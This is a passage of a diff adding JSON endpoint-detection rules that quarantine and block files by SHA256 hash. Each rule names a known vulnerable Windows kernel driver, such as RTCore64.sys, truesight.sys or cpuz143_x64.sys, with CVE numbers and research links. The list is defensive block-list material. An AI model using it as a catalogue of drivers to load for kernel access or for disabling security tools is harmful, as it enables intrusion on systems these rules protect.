+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.604735Z",
+  "creation_date": "2026-03-23T11:45:29.604737Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.604742Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "220a2dcf4d597f9208c0e7fd7057a91e88e118d420f20aac8e75ae3e39a7ac22",
+  "comment": "Process Hacker driver (aka kprocesshacker.sys) [https://processhacker.sourceforge.io/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0be91fa1-80df-5fcd-bc4c-98dfd1c72bdb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.983755Z",
+  "creation_date": "2026-03-23T11:45:29.983757Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.983762Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3a5ec83fe670e5e23aef3afa0a7241053f5b6be5e6ca01766d6b5f9177183c25",
+  "comment": "Vulnerable Kernel Driver (aka GLCKIO2.sys) [https://www.loldrivers.io/drivers/52ded752-2708-499e-8f37-98e4a9adc23c/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0bf30aba-72dc-5acc-a9ee-982a4c02db63",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.457861Z",
+  "creation_date": "2026-03-23T11:45:30.457864Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.457885Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a495ffa623a5220179b0dd519935e255dd6910b7b7bc3d68906528496561ff53",
+  "comment": "Vulnerable Kernel Driver (aka nscm.sys) [https://www.loldrivers.io/drivers/351ff5ca-f07b-4eb6-9300-d5d31514defb/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0bf87bc2-faab-5c3d-aaea-376393799767",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.154553Z",
+  "creation_date": "2026-03-23T11:45:31.154555Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.154560Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "47e207fced7565ccf0f6c03359babd671b65b67c336ae642f37c60bc363aa0ce",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0bfa33b5-746c-5e84-afd7-857dbaa86431",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.494053Z",
+  "creation_date": "2026-03-23T11:45:31.494057Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.494066Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a3837e6bb4c2d6083895ba1a7df22bd8241b346a1e726b51b99e8d7e8ddd7cd8",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0bfd4c23-9c36-5728-a55a-8ba59d5ea79b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.616023Z",
+  "creation_date": "2026-03-23T11:45:29.616026Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.616032Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c4031eb0a40137c4ab6d2dbdd2755135c63ab137a0aeb74a7bbea6617b96f0a7",
+  "comment": "TOSHIBA BIOs update vulnerable driver (aka NCHGBIOS2x64.SYS) [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0c01846a-3edd-546e-aa57-7fecce8e3ccb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.824269Z",
+  "creation_date": "2026-03-23T11:45:31.824272Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.824280Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c42e2c89f5c6a0cb91903b2549f4a5aa109f732679db26c6b247ca7075fba144",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0c035560-db45-5491-803c-c84398f94958",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.809081Z",
+  "creation_date": "2026-03-23T11:45:31.809083Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.809089Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1272c192e229d867f524ee124a91ec81a472944f732aaf3d85ee8c6adafb2d90",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0c078c97-2f90-5ded-89dc-e2a9e8725877",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.460956Z",
+  "creation_date": "2026-03-23T11:45:30.460959Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.460968Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7fc01f25c4c18a6c539cda38fdbf34b2ff02a15ffd1d93a7215e1f48f76fb3be",
+  "comment": "Vulnerable Kernel Driver (aka RTCore64.sys) [https://www.loldrivers.io/drivers/e32bc3da-4db1-4858-a62c-6fbe4db6afbd/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0c0f8d5c-8ef9-5233-b4f5-2a1f371a09f5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.817232Z",
+  "creation_date": "2026-03-23T11:45:30.817234Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.817240Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "49ae47b6b4d5e1b791b89e0395659d42a29a79c3e6ec52cbfcb9f9cef857a9dd",
+  "comment": "Vulnerable Kernel Driver (aka AODDriver.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0c10ce36-7342-5a8e-869b-015fa2183743",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.822291Z",
+  "creation_date": "2026-03-23T11:45:31.822293Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.822298Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "88cf314dbfc8b2b83f07cd8c381b9f2761b6a229392cca33a4104ce8973d204b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0c1de15c-e502-57a7-a78b-a4536695b801",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.611515Z",
+  "creation_date": "2026-03-23T11:45:29.611517Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.611522Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "94f39e23194d01698b2d8e7bb1c212bf192e81df59766d4adf5f7e33bbe13181",
+  "comment": "CPUID CPU-Z vulnerable driver (aka cpuz143_x64.sys) [CVE-2017-15302] [https://www.loldrivers.io/drivers/de003542-80e1-4aa0-9b99-ed8647a93a6e/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0c24fe95-5f55-5133-8f41-ced83456dcc0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.478943Z",
+  "creation_date": "2026-03-23T11:45:31.478955Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.478965Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "963bf7142b9023687b95016e5a182a114acb16ed9860c1b4d3f5865226671805",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0c436b7c-deb5-5a7e-9800-4692b4497446",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.149033Z",
+  "creation_date": "2026-03-23T11:45:31.149036Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.149045Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "bf943d2b77401c33550d46acc310c044eb8194332cb8c7ed07999ba8a02b9929",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0c4672ee-de17-5b12-a783-addd9ac07e7f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.821023Z",
+  "creation_date": "2026-03-23T11:45:31.821026Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.821035Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7c27b79d4c1da8295b19c8375ca80875206d516010ff4112bdf30ae14763f84e",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0c4d7fa4-db63-5a10-8970-9ffa11c9b446",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.817533Z",
+  "creation_date": "2026-03-23T11:45:31.817535Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.817541Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6a0775d18fc9a3b24793b0f9d38a5dfc247efaad75bd335c4e543b4f55ba16ac",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0c53e645-593e-540d-8075-22c161acbb57",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.609902Z",
+  "creation_date": "2026-03-23T11:45:29.609904Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.609910Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7b68763c39b45534854ec382434fd5a9640942c1f7393857af642ee327d4c570",
+  "comment": "Novell vulnerable driver (aka nicm.sys, nscm.sys and ncpl.sys) [CVE-2013-3956] [https://www.loldrivers.io/drivers/f4126206-564f-49f5-a942-2138a3131e0e/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0c56d84b-293a-5505-a48d-9bf14fd51663",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.828578Z",
+  "creation_date": "2026-03-23T11:45:30.828580Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.828585Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "71724e2bd0c52ee13f77557b68cd7a8a4bc3d345bf0d6aa9653cc2102c8d10ec",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0c5dba18-ed87-59d8-a37e-48202e9c6c1b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.607918Z",
+  "creation_date": "2026-03-23T11:45:29.607920Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.607925Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "53eaefba7e7dca9ab74e385abf18762f9f1aa51594e7f7db5ba612d6c787dd7e",
+  "comment": "Micro-Star MSI Afterburner vulnerable driver (aka RTCore32.sys and RTCore64.sys) [CVE-2019-16098] [https://www.loldrivers.io/drivers/275c80c5-a67c-4536-b29e-4e481242cb01/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0c5dfaa5-bc6f-5bc1-8f1d-59e2c7afa09e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.461353Z",
+  "creation_date": "2026-03-23T11:45:30.461356Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.461365Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8f8956abdeb2a52be2cc514790a737a0ad39a9e698a77c1f358e77f1bf9f180b",
+  "comment": "Vulnerable Kernel Driver (aka sfdrvx64.sys) [https://www.loldrivers.io/drivers/5a03dc5a-115d-4d6f-b5b5-685f4c014a69/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0c622c91-3e05-5868-8ffd-17da64ea8a0e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.827291Z",
+  "creation_date": "2026-03-23T11:45:30.827293Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.827299Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "dd502981546c9a28914b3a786172c5bd3945c1995dd4c34f251cb0d1d2ddc97e",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0c6ada67-55fc-550d-b7b1-782a5b1b72c6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.817169Z",
+  "creation_date": "2026-03-23T11:45:31.817171Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.817177Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "72b6c0305d2d264b0acf9caed51a831ca3916c958ede5c32018410a550376d8a",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0c6f8bc1-d255-5994-a459-a74a81a0e8b4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
